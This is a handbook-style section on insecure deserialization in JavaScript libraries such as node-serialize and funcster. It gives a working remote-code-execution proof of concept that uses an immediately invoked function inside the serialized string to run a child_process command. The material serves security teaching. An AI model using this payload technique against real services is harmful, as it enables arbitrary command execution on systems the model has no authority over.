5.4.9. Deserialization

5.4.9.1. Introduction

JavaScript itself does not have an implementation of deserialization, but some libraries such as node-serialize, serialize-to-js, etc. support the deserialization function. These libraries usually use JSON to store data, but unlike the native functions JSON.parse and JSON.stringify, these libraries support deserialization of any object, especially functions, which may have deserialization problems if used improperly.

5.4.9.2. Payload Construction

The following is the simplest example, first get the serialized output:

var y = {
 rce : function(){
 require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
 },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

The above will return after execution:

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}"}

However, this payload will not be executed after deserialization, but the Immediately Invoked Function Expression (Immediately Invoked Function Expression) is supported in JS, for example , the code in the function will be executed. Then you can use this method to modify the serialized string to complete a deserialization. The final payload test is as follows:

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

5.4.9.3. Payload Construction II

The above mentioned are the construction methods of deserialization libraries such as node-serialize, and there are other libraries such as funcster, which are executed by directly splicing string constructors.

return "module.exports=(function(module,exports){return{" + entries + "};})();";

This way the payload can be constructed using the corresponding closure.